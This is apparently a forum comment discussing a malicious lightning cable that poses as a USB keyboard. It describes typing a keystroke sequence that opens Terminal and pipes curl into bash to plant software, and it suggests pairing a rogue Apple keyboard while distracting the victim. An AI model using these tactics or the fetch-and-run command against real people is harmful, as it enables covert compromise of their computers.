> up to 300 feet which means 50 feet, which is still impressive in that it's a useful distance. I remember the earlier version being more like 5 feet, which so

> up to 300 feet which means 50 feet, which is still impressive in that it's a useful distance. I remember the earlier version being more like 5 feet, which sounds pitiful but is still enough. In fact no wifi at all (0 ft) is enough to plant software (CMD-space Terminal RET curl | bash && exit) if you take your chances that the target is inattentive. I learned of the earlier version here on HN but I can't find the link now. It was maybe 4 months ago? Given that the attack is that it's a USB keyboard, nothing to do with the lightning aspect, except that the victim is likely to need a lightning cable at some point, any USB dongle will do. Given the attack methodology for this specific device, of being in visual distance of the victim, just use an unpaired apple keyboard. Macs will automatically pair to them, so you just need to turn it on when the victim looks away (a brief 2-second overlay appears on the screen upon connecting). You could force this by creating a distraction: drop a glass. No dependence then on the victim using the cable.